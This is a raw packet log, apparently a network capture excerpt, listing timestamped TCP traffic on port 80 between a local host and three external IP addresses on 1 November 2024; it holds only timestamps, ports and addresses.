Nov 1, 2024 10:57:11.419188023 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419209003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419219017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419255018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419284105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419300079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419311047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419331074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419329882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419329882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419343948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419349909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419353962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419363976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419368029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419374943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419399023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419400930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419410944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419420958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419430971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419434071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419437885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419444084 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419451952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419461966 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419464111 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419471979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419482946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419487953 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419492960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419503927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419511080 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419532061 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.420850039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.420861959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.420870066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.420881033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.420898914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.420909882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421224117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421236038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421245098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421271086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421286106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421297073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421297073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421308041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421319962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421323061 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421331882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421349049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421349049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421361923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421370029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421382904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421390057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421400070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421410084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421412945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421420097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421432018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421442032 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421448946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421463013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421471119 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421474934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421484947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421494961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421499014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421505928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421508074 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421515942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421526909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421531916 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421560049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421575069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421586037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421595097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421607971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421612024 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421624899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421632051 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421636105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421647072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421658039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421658993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421664953 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421668053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421693087 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421700001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421710014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421710968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421720982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421730995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421744108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421757936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421761036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421772957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421780109 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421782017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421796083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421806097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421809912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421816111 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421839952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421864033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421865940 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421875000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421889067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421899080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421910048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421915054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421951056 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.421962023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.421972990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.422004938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.422024012 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.422092915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.422102928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.422111988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.422132969 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.422153950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.422159910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.422171116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.422183037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.422194958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.422204971 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.422224045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.422266960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.422276974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.422285080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.422295094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.422307968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.422312021 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.422318935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.422321081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.422342062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.422364950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:13.843154907 CET	49817	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:13.846792936 CET	49854	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:13.848490953 CET	80	49817	185.215.113.43	192.168.2.4
Nov 1, 2024 10:57:13.850332975 CET	49817	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:13.851672888 CET	80	49854	185.215.113.43	192.168.2.4
Nov 1, 2024 10:57:13.851845980 CET	49854	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:13.861675024 CET	49854	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:13.866658926 CET	80	49854	185.215.113.43	192.168.2.4
Nov 1, 2024 10:57:14.751693010 CET	80	49854	185.215.113.43	192.168.2.4
Nov 1, 2024 10:57:14.751760960 CET	49854	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:17.197458982 CET	49854	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:17.197792053 CET	49870	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:17.202879906 CET	80	49870	185.215.113.43	192.168.2.4
Nov 1, 2024 10:57:17.203948021 CET	49870	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:17.204006910 CET	80	49854	185.215.113.43	192.168.2.4
Nov 1, 2024 10:57:17.204154968 CET	49854	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:17.237299919 CET	49870	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:17.242387056 CET	80	49870	185.215.113.43	192.168.2.4
Nov 1, 2024 10:57:18.128679991 CET	80	49870	185.215.113.43	192.168.2.4
Nov 1, 2024 10:57:18.129007101 CET	49870	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:18.132303953 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:18.137346983 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:18.137403965 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:18.137533903 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:18.142396927 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.056225061 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.056257010 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.056279898 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.056308985 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.056365967 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.056404114 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.056405067 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.056415081 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.056435108 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.056451082 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.056514978 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.056525946 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.056536913 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.056550026 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.056554079 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.056571007 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.056579113 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.056595087 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.056618929 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.061244011 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.061294079 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.061836958 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.061877966 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.061882973 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.061887980 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.061909914 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.061927080 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.213392973 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.213428020 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.213462114 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.213460922 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.213475943 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.213495016 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.213499069 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.213525057 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.213550091 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.213607073 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.213627100 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.213643074 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.213656902 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.213661909 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.213697910 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.213699102 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.214303017 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.214315891 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.214329958 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.214356899 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.214382887 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.214503050 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.214515924 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.214539051 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.214555025 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.215035915 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.215065956 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.215080023 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.215099096 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.215126991 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.215332985 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.215344906 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.215375900 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.215929985 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.215945005 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.215955973 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.215980053 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.215989113 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.215996981 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.216001034 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.216023922 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.216043949 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.372100115 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.372134924 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.372147083 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.372164965 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.372175932 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.372193098 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.372215033 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.372301102 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.372313023 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.372323990 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.372335911 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.372345924 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.372348070 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.372358084 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.372369051 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.372378111 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.372384071 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.372411966 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.373115063 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.373207092 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.373219013 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.373231888 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.373243093 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.373255014 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.373258114 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.373267889 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.373279095 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.373295069 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.373375893 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.373421907 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.374087095 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.374272108 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.374283075 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.374294043 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.374304056 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.374305964 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.374317884 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.374344110 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.374344110 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.374593973 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.374604940 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.374627113 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.374639988 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.375216961 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.375226974 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.375237942 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.375248909 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.375261068 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.375262022 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.375272036 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.375283003 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.375286102 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.375294924 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.375296116 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.375325918 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.375936031 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.375967026 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.375973940 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.375979900 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.375998020 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.376019001 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.376020908 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.376029968 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.376040936 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.376053095 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.376058102 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.376085997 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.376108885 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.376568079 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.377405882 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.377439976 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.377566099 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.379889965 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.529373884 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529400110 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529412985 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529424906 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529438019 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529452085 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529464006 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529476881 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529506922 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.529552937 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.529563904 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529576063 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529587030 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529598951 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529611111 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529614925 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.529622078 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529623985 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.529633999 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529645920 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529653072 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.529658079 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529669046 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529680014 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.529683113 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.529694080 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.529712915 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.529732943 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.530282974 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.530339956 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.530350924 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.530394077 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:19.530420065 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:19.530431986 CET	80	49878	185.215.113.16	192.168.2.4
